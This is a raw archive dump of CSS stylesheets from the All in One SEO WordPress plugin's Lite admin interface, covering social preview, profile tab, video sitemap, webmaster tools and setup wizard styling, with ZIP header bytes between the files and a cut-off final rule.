.aioseo-twitter-preview .twitter-post .twitter-container.summary .twitter-content .twitter-image-preview[data-v-3ab503eb]{border-right:1px solid var(--tertiary-text)}[dir=rtl] .aioseo-twitter-preview .twitter-post .twitter-container.summary .twitter-content .twitter-image-preview[data-v-3ab503eb]{border-left:1px solid var(--tertiary-text)}.aioseo-twitter-preview .twitter-post .twitter-container.summary .twitter-content .twitter-image-preview svg.aioseo-book[data-v-3ab503eb]{width:50px;color:var(--secondary-text)}.aioseo-twitter-preview .twitter-post .twitter-container.summary_large_image .twitter-image-preview[data-v-3ab503eb]{overflow:hidden;padding-top:56.25%;position:relative}.aioseo-twitter-preview .twitter-post .twitter-container.summary_large_image .twitter-image-preview img[data-v-3ab503eb]{height:100%;object-fit:cover;position:absolute;top:0;width:100%}[dir=ltr] .aioseo-twitter-preview .twitter-post .twitter-container.summary_large_image .twitter-image-preview img[data-v-3ab503eb]{left:0}[dir=rtl] .aioseo-twitter-preview .twitter-post .twitter-container.summary_large_image .twitter-image-preview img[data-v-3ab503eb]{right:0}.aioseo-twitter-preview .twitter-post .twitter-container.summary_large_image .twitter-image-preview svg.aioseo-book[data-v-3ab503eb]{display:none}.aioseo-twitter-preview .twitter-post .twitter-container .twitter-content[data-v-3ab503eb]{border-radius:16px;overflow:hidden;display:flex;flex-direction:column;border:1px solid var(--tertiary-text)}.aioseo-twitter-preview .twitter-post .twitter-container .twitter-content .twitter-site-description[data-v-3ab503eb]{display:flex;flex-direction:column;gap:2px;justify-content:center;padding:12px}.aioseo-twitter-preview .twitter-post .twitter-container .twitter-content .twitter-site-description .site-domain[data-v-3ab503eb],.aioseo-twitter-preview .twitter-post .twitter-container .twitter-content .twitter-site-description .site-title[data-v-3ab503eb],.aioseo-twitter-preview .twitter-post .twitter-container .twitter-content .twitter-site-description .site-description[data-v-3ab503eb]{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica,Arial,sans-serif;font-style:normal;font-weight:400;line-height:1.4;letter-spacing:normal;margin:0;padding:0;text-transform:none;overflow-wrap:break-word;word-break:break-word}.aioseo-twitter-preview .twitter-post .twitter-container .twitter-content .twitter-site-description .site-domain[data-v-3ab503eb]{color:var(--secondary-text);font-size:13px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.aioseo-twitter-preview .twitter-post .twitter-container .twitter-content .twitter-site-description .site-title[data-v-3ab503eb]{color:var(--primary-text);font-size:17px}.aioseo-twitter-preview .twitter-post .twitter-container .twitter-content .twitter-site-description .site-description[data-v-3ab503eb]{color:var(--secondary-text);font-size:14px} PKÉ—[¡…+×››<all-in-one-seo-pack/dist/Lite/assets/css/Upsell.BYWwx3_T.cssnu„[µü¤.aioseo-user-avatar[data-v-4705aae0]{border-radius:50%;height:inherit;width:inherit}.aioseo-user-avatar--dannie[data-v-4705aae0]{border:1px solid #D0D1D7} PKÉ—[Ä">?>?Fall-in-one-seo-pack/dist/Lite/assets/css/user-profile-tab.BM8uw609.cssnu„[µü¤#aioseo-author-seo-meta-data .aioseo-row.aioseo-settings-row .aioseo-description{margin:12px 0}.aioseo-wp-table table.widefat{border:1px solid #c3c4c7;box-shadow:0 1px 1px #0000000a;background:#fff}.aioseo-wp-table .postbox table.widefat{box-shadow:none}.aioseo-wp-table .widefat{border-spacing:0;width:100%;clear:both;margin:0}.aioseo-wp-table .widefat *{word-wrap:break-word}.aioseo-wp-table .widefat a,.aioseo-wp-table .widefat button.button-link{text-decoration:none}.aioseo-wp-table .widefat td,.aioseo-wp-table .widefat th{padding:8px 10px}.aioseo-wp-table .widefat td:has(.row-actions),.aioseo-wp-table .widefat th:has(.row-actions){padding-bottom:10px}.aioseo-wp-table .widefat thead th,.aioseo-wp-table .widefat thead td{border-bottom:1px solid #c3c4c7}.aioseo-wp-table .widefat tfoot th,.aioseo-wp-table .widefat tfoot td{border-top:1px solid #c3c4c7;border-bottom:none}.aioseo-wp-table .widefat .no-items td{border-bottom-width:0}.aioseo-wp-table .widefat td{vertical-align:top}.aioseo-wp-table .widefat td,.aioseo-wp-table .widefat td p,.aioseo-wp-table .widefat td ol,.aioseo-wp-table .widefat td ul,.aioseo-wp-table .widefat th,.aioseo-wp-table .widefat thead td,.aioseo-wp-table .widefat tfoot td{font-size:14px;line-height:22px}[dir=ltr] .aioseo-wp-table .widefat th,[dir=ltr] .aioseo-wp-table .widefat thead td,[dir=ltr] .aioseo-wp-table .widefat tfoot td{text-align:left}[dir=rtl] .aioseo-wp-table .widefat th,[dir=rtl] .aioseo-wp-table .widefat thead td,[dir=rtl] .aioseo-wp-table .widefat tfoot td{text-align:right}.aioseo-wp-table .widefat th input,.aioseo-wp-table .widefat thead td input,.aioseo-wp-table .widefat tfoot td input{padding:0;vertical-align:text-top}[dir=ltr] .aioseo-wp-table .widefat th input,[dir=ltr] .aioseo-wp-table .widefat thead td input,[dir=ltr] .aioseo-wp-table .widefat tfoot td input{margin:0 0 0 8px}[dir=rtl] .aioseo-wp-table .widefat th input,[dir=rtl] .aioseo-wp-table .widefat thead td input,[dir=rtl] .aioseo-wp-table .widefat tfoot td input{margin:0 8px 0 0}.aioseo-wp-table .widefat .check-column{line-height:1;width:2.2em;padding:6px 0 25px;vertical-align:top}.aioseo-wp-table .widefat tbody th.check-column{padding:9px 0 22px}[dir=ltr] .aioseo-wp-table .widefat thead td.check-column,[dir=ltr] .aioseo-wp-table .widefat tbody th.check-column,[dir=ltr] .aioseo-wp-table .widefat tfoot td.check-column{padding:11px 0 0 3px}[dir=rtl] .aioseo-wp-table .widefat thead td.check-column,[dir=rtl] .aioseo-wp-table .widefat tbody th.check-column,[dir=rtl] .aioseo-wp-table .widefat tfoot td.check-column{padding:11px 3px 0 0}.aioseo-wp-table .widefat thead td.check-column,.aioseo-wp-table .widefat tfoot td.check-column{padding-top:4px;vertical-align:middle}.aioseo-wp-table .no-js .widefat thead .check-column input,.aioseo-wp-table .no-js .widefat tfoot .check-column input{display:none}.aioseo-wp-table .widefat .num{text-align:center}.aioseo-wp-table .widefat th#comments{vertical-align:middle}.aioseo-wp-table .widefat thead th,.aioseo-wp-table .widefat thead td,.aioseo-wp-table .widefat tfoot th,.aioseo-wp-table .widefat tfoot td{line-height:1.4em}.aioseo-wp-table .widefat th,.aioseo-wp-table .widefat td{color:#50575e}.aioseo-wp-table .widefat th,.aioseo-wp-table .widefat thead td,.aioseo-wp-table .widefat tfoot td{font-weight:400}.aioseo-wp-table .widefat thead tr th,.aioseo-wp-table .widefat thead tr td,.aioseo-wp-table .widefat tfoot tr th,.aioseo-wp-table .widefat tfoot tr td{color:#2c3338}.aioseo-wp-table .widefat td p{margin:2px 0 .8em}.aioseo-wp-table .widefat p,.aioseo-wp-table .widefat ol,.aioseo-wp-table .widefat ul{color:#2c3338}.aioseo-wp-table .widefat .column-comment p{margin:.6em 0}.aioseo-wp-table .widefat .column-comment ul{list-style:initial}[dir=ltr] .aioseo-wp-table .widefat .column-comment ul{margin-left:2em}[dir=rtl] .aioseo-wp-table .widefat .column-comment ul{margin-right:2em}.aioseo-wp-table .row-actions span.delete a,.aioseo-wp-table .row-actions span.trash a,.aioseo-wp-table .row-actions span.spam a{color:#b32d2e}.aioseo-wp-table .row-actions .delete a:hover,.aioseo-wp-table .row-actions .trash a:hover,.aioseo-wp-table .row-actions .spam a:hover{color:#b32d2e;border:none}.aioseo-wp-table .row-actions{color:#a7aaad;font-size:12px;line-height:18px;padding:2px 0 0;position:relative}[dir=ltr] .aioseo-wp-table .row-actions{left:-9999em}[dir=rtl] .aioseo-wp-table .row-actions{right:-9999em}.aioseo-wp-table .no-js .row-actions,.aioseo-wp-table tr:hover .row-actions,.aioseo-wp-table .row-actions.visible{position:static}.aioseo-wp-table .widefat thead th,.aioseo-wp-table .widefat thead td,.aioseo-wp-table .widefat tfoot th,.aioseo-wp-table .widefat tfoot td{padding:0 10px;max-height:38px;height:38px}.aioseo-wp-table .widefat thead th.sortable a,.aioseo-wp-table .widefat tfoot th.sortable a{display:flex;align-items:center;height:36px;padding:0;line-height:36px}.aioseo-wp-table .widefat thead th.sortable a .sorting-indicator,.aioseo-wp-table .widefat tfoot th.sortable a .sorting-indicator{margin-top:0}body.vue-build{margin:0}body.vue-build .aioseo-app{min-height:calc(100vh - var(--aioseo-header-height, 72px))}body.vue-build .aioseo-app .aioseo-main{padding-bottom:30px}body.aioseo-setup-wizard{margin:0;padding:0}body.aioseo-setup-wizard .aioseo-app{min-height:100vh;width:100%}body[class*=page_aioseo]{--aioseo-gutter: 20px;--aioseo-header-height: 72px;--aioseo-footer-height: 150px}[dir=ltr] body[class*=page_aioseo] .aioseo-header,[dir=ltr] body[class*=page_aioseo] .aioseo-notifications .overlay{left:160px}[dir=rtl] body[class*=page_aioseo] .aioseo-header,[dir=rtl] body[class*=page_aioseo] .aioseo-notifications .overlay{right:160px}[dir=ltr] body[class*=page_aioseo].folded .aioseo-header,[dir=ltr] body[class*=page_aioseo].folded .aioseo-notifications .overlay{left:36px}[dir=rtl] body[class*=page_aioseo].folded .aioseo-header,[dir=rtl] body[class*=page_aioseo].folded .aioseo-notifications .overlay{right:36px}body[class*=page_aioseo] #wpcontent{padding:0;background-color:#f3f4f5}body[class*=page_aioseo] .update-nag{display:none}body[class*=page_aioseo] .aioseo-app{min-height:calc(100vh - var(--aioseo-header-height) - 65px)}body[class*=page_aioseo].admin-bar .aioseo-app{min-height:calc(100vh - var(--aioseo-header-height) - 65px - 32px - var(--aioseo-footer-height))}@media screen and (max-width: 782px){body[class*=page_aioseo].admin-bar .aioseo-app{min-height:calc(100vh - var(--aioseo-header-height) - 65px - 46px - var(--aioseo-footer-height))}}@media screen and (max-width: 600px){body[class*=page_aioseo].admin-bar .aioseo-app{min-height:calc(100vh - 111px)}}body[class*=page_aioseo].admin-bar .aioseo-header,body[class*=page_aioseo].admin-bar .aioseo-notifications .overlay,body[class*=page_aioseo].admin-bar .aioseo-notifications .notification-menu{top:32px}body[class*=page_aioseo].aioseo-has-bar{--aioseo-header-height: 112px}@media screen and (max-width: 782px){body[class*=page_aioseo].aioseo-has-bar{--aioseo-header-height: 132px}}body[class*=page_aioseo].aioseo-flyout-menu-enabled .aioseo-app{padding-bottom:40px}@media screen and (max-width: 960px){[dir=ltr] body[class*=page_aioseo].auto-fold .aioseo-header,[dir=ltr] body[class*=page_aioseo].auto-fold .aioseo-notifications .overlay{left:36px}[dir=rtl] body[class*=page_aioseo].auto-fold .aioseo-header,[dir=rtl] body[class*=page_aioseo].auto-fold .aioseo-notifications .overlay{right:36px}}@media screen and (max-width: 782px){body[class*=page_aioseo] #wpbody-content{padding-bottom:20px}body[class*=page_aioseo].admin-bar .aioseo-header,body[class*=page_aioseo].admin-bar .aioseo-notifications .overlay,body[class*=page_aioseo].admin-bar .aioseo-notifications .notification-menu{top:46px}[dir=ltr] body[class*=page_aioseo] .aioseo-header,[dir=ltr] body[class*=page_aioseo] .aioseo-notifications .overlay{left:0}[dir=rtl] body[class*=page_aioseo] .aioseo-header,[dir=rtl] body[class*=page_aioseo] .aioseo-notifications .overlay{right:0}[dir=ltr] body[class*=page_aioseo].auto-fold .aioseo-header,[dir=ltr] body[class*=page_aioseo].auto-fold .aioseo-notifications .overlay{left:0}[dir=rtl] body[class*=page_aioseo].auto-fold .aioseo-header,[dir=rtl] body[class*=page_aioseo].auto-fold .aioseo-notifications .overlay{right:0}body[class*=page_aioseo].aioseo-flyout-menu-enabled .aioseo-app{padding-bottom:100px}}@media screen and (max-width: 600px){body[class*=page_aioseo].admin-bar .aioseo-notifications .overlay,body[class*=page_aioseo].admin-bar .aioseo-notifications .menu{position:absolute;top:46px}body[class*=page_aioseo].admin-bar .aioseo-header{position:relative;top:0}}.aioseo-app,#aioseo-user-profile-tab{--aioseo-gutter: 20px;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica,Arial,sans-serif;font-size:14px;color-scheme:light;box-sizing:border-box;position:relative}@media only screen and (max-width: 782px){.aioseo-app,#aioseo-user-profile-tab{--aioseo-gutter: 16px}}.aioseo-app .sm,.aioseo-app .small,#aioseo-user-profile-tab .sm,#aioseo-user-profile-tab .small{font-size:12px;line-height:18px}.aioseo-app .medium,#aioseo-user-profile-tab .medium{font-size:14px;line-height:22px}.aioseo-app .route-fade-enter-active,.aioseo-app .route-fade-leave-active,#aioseo-user-profile-tab .route-fade-enter-active,#aioseo-user-profile-tab .route-fade-leave-active{transition:all .2s}.aioseo-app .route-fade-enter-from,.aioseo-app .route-fade-leave-active,#aioseo-user-profile-tab .route-fade-enter-from,#aioseo-user-profile-tab .route-fade-leave-active{opacity:0}[dir=ltr] .aioseo-app .route-fade-enter-from,[dir=ltr] #aioseo-user-profile-tab .route-fade-enter-from{transform:translate(30px)}[dir=rtl] .aioseo-app .route-fade-enter-from,[dir=rtl] #aioseo-user-profile-tab .route-fade-enter-from,[dir=ltr] .aioseo-app .route-fade-leave-active,[dir=ltr] #aioseo-user-profile-tab .route-fade-leave-active{transform:translate(-30px)}[dir=rtl] .aioseo-app .route-fade-leave-active,[dir=rtl] #aioseo-user-profile-tab .route-fade-leave-active{transform:translate(30px)}.aioseo-app *,.aioseo-app :after,.aioseo-app :before,#aioseo-user-profile-tab *,#aioseo-user-profile-tab :after,#aioseo-user-profile-tab :before{box-sizing:inherit}.aioseo-app * *:not(.aioseo-button):not(.aioseo-input),.aioseo-app :after *:not(.aioseo-button):not(.aioseo-input),.aioseo-app :before *:not(.aioseo-button):not(.aioseo-input),#aioseo-user-profile-tab * *:not(.aioseo-button):not(.aioseo-input),#aioseo-user-profile-tab :after *:not(.aioseo-button):not(.aioseo-input),#aioseo-user-profile-tab :before *:not(.aioseo-button):not(.aioseo-input){line-height:1.4}.aioseo-app p,#aioseo-user-profile-tab p{font-size:14px;line-height:22px}.aioseo-app a:not(.aioseo-button),#aioseo-user-profile-tab a:not(.aioseo-button){color:#005ae0}.aioseo-app a:not(.aioseo-button).text-white,#aioseo-user-profile-tab a:not(.aioseo-button).text-white{color:#fff}.aioseo-app a:not(.aioseo-button):hover,#aioseo-user-profile-tab a:not(.aioseo-button):hover{text-decoration:none}.aioseo-app a:not(.aioseo-button).no-underline,#aioseo-user-profile-tab a:not(.aioseo-button).no-underline{text-decoration:none}.aioseo-app h2,#aioseo-user-profile-tab h2{font-size:32px;margin:0}.aioseo-app .aioseo-main,#aioseo-user-profile-tab .aioseo-main{height:100%}.aioseo-app .aioseo-main>.aioseo-container,#aioseo-user-profile-tab .aioseo-main>.aioseo-container{margin-top:0;padding-block:var(--aioseo-gutter)}@media screen and (min-width: 601px){.aioseo-app .aioseo-main>.aioseo-container,#aioseo-user-profile-tab .aioseo-main>.aioseo-container{margin-top:var(--aioseo-header-height)}}.aioseo-app .aioseo-main>.aioseo-container>.aioseo-tabs .aioseo-mobile-tabs,#aioseo-user-profile-tab .aioseo-main>.aioseo-container>.aioseo-tabs .aioseo-mobile-tabs{margin-top:0}.aioseo-app .aioseo-main .save-changes,#aioseo-user-profile-tab .aioseo-main .save-changes{display:flex;justify-content:flex-end}.aioseo-app .d-flex,#aioseo-user-profile-tab .d-flex{display:flex}.aioseo-app .aioseo-section-description,#aioseo-user-profile-tab .aioseo-section-description{font-size:14px;color:#141b38;line-height:22px;padding-bottom:16px}.aioseo-app .aioseo-description-text,#aioseo-user-profile-tab .aioseo-description-text{font-size:14px;line-height:22px;color:#141b38}.aioseo-app .aioseo-description-text.aioseo-error,#aioseo-user-profile-tab .aioseo-description-text.aioseo-error{color:#df2a4a}.aioseo-app .aioseo-description,#aioseo-user-profile-tab .aioseo-description{font-size:14px;line-height:22px;margin:0;color:#141b38}.aioseo-app .aioseo-description.no-margin,#aioseo-user-profile-tab .aioseo-description.no-margin{margin:0}.aioseo-app .aioseo-description.aioseo-error,#aioseo-user-profile-tab .aioseo-description.aioseo-error{color:#df2a4a}.aioseo-app .aioseo-description>.aioseo-toggle,#aioseo-user-profile-tab .aioseo-description>.aioseo-toggle{margin:0}.aioseo-app *+.aioseo-description,#aioseo-user-profile-tab *+.aioseo-description{margin-top:8px}.aioseo-app *+.aioseo-description:has(.aioseo-alert),#aioseo-user-profile-tab *+.aioseo-description:has(.aioseo-alert){margin-top:12px}.aioseo-app .max-recommended-count,#aioseo-user-profile-tab .max-recommended-count{color:#434960;margin-top:4px;font-size:14px}[dir=ltr] .aioseo-app .max-recommended-count,[dir=ltr] #aioseo-user-profile-tab .max-recommended-count{text-align:right}[dir=rtl] .aioseo-app .max-recommended-count,[dir=rtl] #aioseo-user-profile-tab .max-recommended-count{text-align:left}.aioseo-app .max-recommended-count strong.error,#aioseo-user-profile-tab .max-recommended-count strong.error{border:none;color:#df2a4a}.aioseo-app .popper,#aioseo-user-profile-tab .popper{font-size:12px;padding:20px;background-color:#fff;border:none;border-radius:3px;box-shadow:0 3px 4.8px #20476645;z-index:9999;max-width:350px;line-height:1.4;white-space:normal}[dir=ltr] .aioseo-app .popper,[dir=ltr] #aioseo-user-profile-tab .popper{text-align:left}[dir=rtl] .aioseo-app .popper,[dir=rtl] #aioseo-user-profile-tab .popper{text-align:right}.aioseo-app .popper.action,#aioseo-user-profile-tab .popper.action{padding:8px 12px;background-color:#141b38;color:#fff}.aioseo-app .popper.action .popper__arrow,#aioseo-user-profile-tab .popper.action .popper__arrow{border-top-color:#141b38}.aioseo-app .popper[x-placement^=bottom],#aioseo-user-profile-tab .popper[x-placement^=bottom]{box-shadow:0 2px 4.8px #20476645}.aioseo-app .popper .aioseo-description,#aioseo-user-profile-tab .popper .aioseo-description{margin:0}.aioseo-app .aioseo-row-highlight,#aioseo-user-profile-tab .aioseo-row-highlight{animation-name:color;animation-duration:.5s;animation-iteration-count:2}@keyframes color{0%{background-color:#fff}50%{background-color:#00aa63}to{background-color:#fff}}.column-aioseo-details{position:relative;width:20%}.no-underline{text-decoration:none}body,#wpfooter{padding-top:0;background-color:#f3f4f5}#aioseo-modal-portal{width:0;height:0}h2.woo-nav-tab-wrapper{display:none!important}#aioseo-user-profile-tab{--aioseo-gutter: 20px;max-width:1220px}#aioseo-user-profile-tab .navigation-bar{border-bottom:1px solid #c3c4c7;margin:0;padding-top:9px;padding-bottom:0;line-height:inherit}#aioseo-user-profile-tab .navigation-bar a{display:flex;align-items:center;border:1px solid #c3c4c7;border-bottom:none;padding:5px 10px;font-size:14px;line-height:1.71428571;font-weight:600;background:#dcdcde;color:#50575e;text-decoration:none;white-space:nowrap}[dir=ltr] #aioseo-user-profile-tab .navigation-bar a{float:left;margin-left:.5em}[dir=rtl] #aioseo-user-profile-tab .navigation-bar a{float:right;margin-right:.5em}#aioseo-user-profile-tab .navigation-bar a:hover{background-color:#fff;color:#3c434a}#aioseo-user-profile-tab .navigation-bar a.active,#aioseo-user-profile-tab .navigation-bar a.active:hover{margin-bottom:-1px;color:#3c434a;background-color:#f1f1f1;border-bottom:1px solid #f0f0f1;border-bottom-color:#f1f1f1}#aioseo-user-profile-tab .navigation-bar a svg{width:20px;height:20px}[dir=ltr] #aioseo-user-profile-tab .navigation-bar a svg{margin-right:8px}[dir=rtl] #aioseo-user-profile-tab .navigation-bar a svg{margin-left:8px}#aioseo-user-profile-tab .navigation-bar:after{content:"";display:table;clear:both}#aioseo-user-profile-tab .aioseo-description{margin:8px 0 0} PKÉ—[ J qqBall-in-one-seo-pack/dist/Lite/assets/css/VideoSitemap.B1FIEBxm.cssnu„[µü¤.aioseo-video-sitemap-lite .aioseo-card .content{min-height:600px}.aioseo-video-sitemap-lite .aioseo-sitemap-preview{display:flex;align-items:center;margin-bottom:10px}[dir=ltr] .aioseo-video-sitemap-lite .aioseo-sitemap-preview{margin-right:10px}[dir=rtl] .aioseo-video-sitemap-lite .aioseo-sitemap-preview{margin-left:10px}.aioseo-video-sitemap-lite .aioseo-sitemap-preview .aioseo-select{max-width:180px}[dir=ltr] .aioseo-video-sitemap-lite .aioseo-sitemap-preview .aioseo-select{margin-right:10px}[dir=rtl] .aioseo-video-sitemap-lite .aioseo-sitemap-preview .aioseo-select{margin-left:10px}.aioseo-video-sitemap-lite .aioseo-sitemap-preview svg.aioseo-external{width:14px;height:14px}[dir=ltr] .aioseo-video-sitemap-lite .aioseo-sitemap-preview svg.aioseo-external{margin-right:10px}[dir=rtl] .aioseo-video-sitemap-lite .aioseo-sitemap-preview svg.aioseo-external{margin-left:10px}.aioseo-video-sitemap .aioseo-content-width,.aioseo-video-sitemap .aioseo-links-per-site{max-width:110px}.aioseo-video-sitemap .aioseo-sitemap-preview{display:flex;align-items:center;margin-bottom:10px}[dir=ltr] .aioseo-video-sitemap .aioseo-sitemap-preview{margin-right:10px}[dir=rtl] .aioseo-video-sitemap .aioseo-sitemap-preview{margin-left:10px}.aioseo-video-sitemap .aioseo-sitemap-preview .aioseo-select{max-width:180px}[dir=ltr] .aioseo-video-sitemap .aioseo-sitemap-preview .aioseo-select{margin-right:10px}[dir=rtl] .aioseo-video-sitemap .aioseo-sitemap-preview .aioseo-select{margin-left:10px}.aioseo-video-sitemap .aioseo-sitemap-preview svg.aioseo-external{width:14px;height:14px}[dir=ltr] .aioseo-video-sitemap .aioseo-sitemap-preview svg.aioseo-external{margin-right:10px}[dir=rtl] .aioseo-video-sitemap .aioseo-sitemap-preview svg.aioseo-external{margin-left:10px}.aioseo-video-sitemap .aioseo-exclude-pages-posts .aioseo-select{max-width:600px;display:inline-block}[dir=ltr] .aioseo-video-sitemap .aioseo-exclude-pages-posts .aioseo-select{margin-right:16px}[dir=rtl] .aioseo-video-sitemap .aioseo-exclude-pages-posts .aioseo-select{margin-left:16px}.aioseo-video-sitemap .aioseo-exclude-pages-posts .aioseo-select .multiselect__option{display:flex}.aioseo-video-sitemap .aioseo-exclude-pages-posts .aioseo-select .multiselect__option--highlight .option-title{color:#005ae0}.aioseo-video-sitemap .aioseo-exclude-pages-posts .option{flex:1 0 auto}.aioseo-video-sitemap .aioseo-exclude-pages-posts .option .option-title{font-weight:500;font-size:16px;color:#141b38}.aioseo-video-sitemap .aioseo-exclude-pages-posts .option .option-title .search-term{font-weight:700}.aioseo-video-sitemap .aioseo-exclude-pages-posts .option .option-details{display:flex;align-items:center;font-size:14px;color:#8c8f9a}[dir=ltr] .aioseo-video-sitemap .aioseo-exclude-pages-posts .option .option-details span{margin-right:15px}[dir=rtl] .aioseo-video-sitemap .aioseo-exclude-pages-posts .option .option-details span{margin-left:15px}.aioseo-video-sitemap .aioseo-exclude-pages-posts .option-permalink{display:flex;align-items:center}.aioseo-video-sitemap .aioseo-exclude-pages-posts .option-permalink svg.aioseo-external{width:15px;height:15px;color:#434960}.aioseo-video-sitemap .aioseo-exclude-pages-posts .multiselect-toggle{padding:10px 13px;width:40px;position:absolute;height:36px;top:2px;text-align:center;z-index:1}[dir=ltr] .aioseo-video-sitemap .aioseo-exclude-pages-posts .multiselect-toggle{right:2px}[dir=rtl] .aioseo-video-sitemap .aioseo-exclude-pages-posts .multiselect-toggle{left:2px}.aioseo-video-sitemap .aioseo-exclude-pages-posts .multiselect-toggle svg.aioseo-add-plus{width:14px;height:14px;color:#000}.aioseo-video-sitemap .aioseo-video-embed .aioseo-checkbox:first-child{margin-bottom:10px} PKÉ—[¹'‘“°°Dall-in-one-seo-pack/dist/Lite/assets/css/WebmasterTools.DtGf1JVL.cssnu„[µü¤.tool-settings-google-analytics .mi-alert{font-size:16px}.tool-settings-google-analytics .mi-alert .aioseo-card{margin:0}.tool-settings-google-analytics .mi-alert .aioseo-ga-activated{display:flex;align-items:center}.tool-settings-google-analytics .mi-alert .aioseo-ga-activated>div{flex:1}.tool-settings-index-now .inline-upsell{display:inline-flex;margin-top:12px;gap:10px}.tool-settings-index-now .inline-upsell.is-pro{min-width:100%;max-width:100%}.tool-settings-index-now .aioseo-index-now-key{display:flex}.tool-settings-microsoft-clarity .aioseo-alert{display:inline-block}.aioseo-webmaster-tools .webmaster-tools-description{font-size:14px;margin-bottom:12px}.aioseo-webmaster-tools .webmaster-tools-spacer .aioseo-col{padding-block:0}.aioseo-webmaster-tools .webmaster-tools-spacer .aioseo-col div{margin:1px 0 var(--aioseo-gutter);border-bottom:1px solid #E8E8EB}.aioseo-webmaster-tools .webmaster-tools-toggles.aioseo-row{--aioseo-gutter: 16px;display:flex;row-gap:0}.aioseo-webmaster-tools .tool-toggle{font-size:16px;-webkit-user-select:none;user-select:none;margin-bottom:var(--aioseo-gutter)}.aioseo-webmaster-tools .tool-toggle>div{cursor:pointer;height:165px;border:1px solid #D0D1D7;border-radius:3px;padding:12px;display:flex;flex-direction:column;align-items:center;justify-content:space-between;color:#141b38;text-align:center;position:relative}.aioseo-webmaster-tools .tool-toggle>div .logo{flex:1;padding:0;display:flex;align-items:center;max-height:calc(100% - 20px)}.aioseo-webmaster-tools .tool-toggle>div .logo .logo-svg{max-width:100%;max-height:60px;width:100%;height:100%}.aioseo-webmaster-tools .tool-toggle>div.connected svg.aioseo-circle-check-solid{width:21px;height:21px;color:#00aa63;position:absolute;top:10px}[dir=ltr] .aioseo-webmaster-tools .tool-toggle>div.connected svg.aioseo-circle-check-solid{right:10px}[dir=rtl] .aioseo-webmaster-tools .tool-toggle>div.connected svg.aioseo-circle-check-solid{left:10px}.aioseo-webmaster-tools .tool-toggle>div.connected.active svg.aioseo-circle-check-solid{top:9px}[dir=ltr] .aioseo-webmaster-tools .tool-toggle>div.connected.active svg.aioseo-circle-check-solid{right:9px}[dir=rtl] .aioseo-webmaster-tools .tool-toggle>div.connected.active svg.aioseo-circle-check-solid{left:9px}.aioseo-webmaster-tools .tool-toggle>div.active{padding:11px;font-weight:600;border:2px solid #005AE0;box-shadow:0 5px 10px #005ae01a}.aioseo-webmaster-tools .tool-toggle>div.active.connected{border-color:#00aa63}.aioseo-webmaster-tools .tool-settings-slide{width:100%}.aioseo-webmaster-tools .tool-settings-slide[aria-expanded=true]{margin-bottom:var(--aioseo-gutter)}.aioseo-webmaster-tools .tool-settings-slide .tool-settings>div{padding:16px;background-color:#f9f9fa;border-radius:3px;border-bottom:1px solid #E8E8EB}.aioseo-webmaster-tools .tool-settings-slide .tool-settings>div:last-child{border-bottom:none}.aioseo-webmaster-tools .tool-settings-slide .tool-settings .aioseo-input{max-width:440px}[dir=ltr] .aioseo-webmaster-tools .tool-settings-slide .tool-settings .aioseo-input{margin-right:10px}[dir=rtl] .aioseo-webmaster-tools .tool-settings-slide .tool-settings .aioseo-input{margin-left:10px}.aioseo-webmaster-tools .tool-settings-slide .tool-settings .aioseo-textarea-autosize{max-width:400px}.aioseo-webmaster-tools .tool-settings-slide .tool-settings .aioseo-button svg.aioseo-external{width:14px;height:14px}[dir=ltr] .aioseo-webmaster-tools .tool-settings-slide .tool-settings .aioseo-button svg.aioseo-external{margin-right:10px}[dir=rtl] .aioseo-webmaster-tools .tool-settings-slide .tool-settings .aioseo-button svg.aioseo-external{margin-left:10px}.aioseo-webmaster-tools .tool-settings-slide .aioseo-input-container .aioseo-input input{height:40px;padding:10px;font-size:14px}.aioseo-webmaster-tools .tool-settings-slide .inline-upsell{display:inline-flex;align-items:center;justify-content:space-between;margin-top:16px;padding:8px 12px;font-weight:400}.aioseo-webmaster-tools .tool-settings-slide .aioseo-alert{padding:8px 12px;font-weight:400;margin-top:16px}.aioseo-webmaster-tools .tool-settings-slide .tool-settings-microsoft-clarity .aioseo-description+br{display:none}.aioseo-webmaster-tools .aioseo-settings-row .settings-name .name.align{line-height:22px;margin-bottom:12px} PKÉ—[êf(¬p p =all-in-one-seo-pack/dist/Lite/assets/css/Welcome.DoyAQbZt.cssnu„[µü¤.aioseo-setup-wizard-welcome{padding:25px;height:100vh;display:flex;align-items:center;justify-content:center;overflow:hidden}.aioseo-setup-wizard-welcome svg.aioseo-giant-gear{width:904px;min-width:904px;height:auto;color:#dddee2;opacity:.3}.aioseo-setup-wizard-welcome .aioseo-welcome-container{position:absolute;top:0;right:0;bottom:0;left:0;display:flex;align-items:center;justify-content:center;flex-direction:column;gap:20px}.aioseo-setup-wizard-welcome .aioseo-welcome-container svg.aioseo-logo{height:40px;margin-top:-60px}.aioseo-setup-wizard-welcome .aioseo-welcome-container .aioseo-welcome-content{position:relative;width:100%;max-width:640px;background-color:#fff;border:1px solid #E8E8EB;box-shadow:0 2px 10px #005ae033;padding:40px;display:flex;justify-content:center;flex-direction:column;text-align:center}.aioseo-setup-wizard-welcome .aioseo-welcome-container .aioseo-welcome-content .aioseo-go-back{position:absolute;bottom:-120px;align-self:center}.aioseo-setup-wizard-welcome .aioseo-welcome-container .aioseo-welcome-content .header{font-size:24px;color:#141b38;font-weight:600;margin-bottom:30px}.aioseo-setup-wizard-welcome .aioseo-welcome-container .aioseo-welcome-content .description{line-height:1.4;font-size:16px;color:#434960}.aioseo-setup-wizard-welcome .aioseo-welcome-container .aioseo-welcome-content .aioseo-button{margin-top:20px;max-width:265px;align-self:center}@media screen and (max-width: 782px){.aioseo-setup-wizard-welcome .aioseo-welcome-container .aioseo-welcome-content{padding:30px}}.aioseo-setup-wizard-welcome .modal-wrapper .modal-container{max-width:600px}.aioseo-setup-wizard-welcome .modal-wrapper .modal-container .modal-header{border-bottom:none;font-size:18px}.aioseo-setup-wizard-welcome .aioseo-modal-body{padding:0 30px 30px;display:flex;flex-direction:column;position:relative}.aioseo-setup-wizard-welcome .aioseo-modal-body h3{font-size:20px;margin-bottom:16px}.aioseo-setup-wizard-welcome .aioseo-modal-body .reset-description{font-size:16px;color:#141b38;margin-bottom:16px;max-width:515px;line-height:24px}[dir=ltr] .aioseo-setup-wizard-welcome .aioseo-modal-body .reset-description{text-align:left}[dir=rtl] .aioseo-setup-wizard-welcome .aioseo-modal-body .reset-description{text-align:right}.aioseo-setup-wizard-welcome .aioseo-modal-body 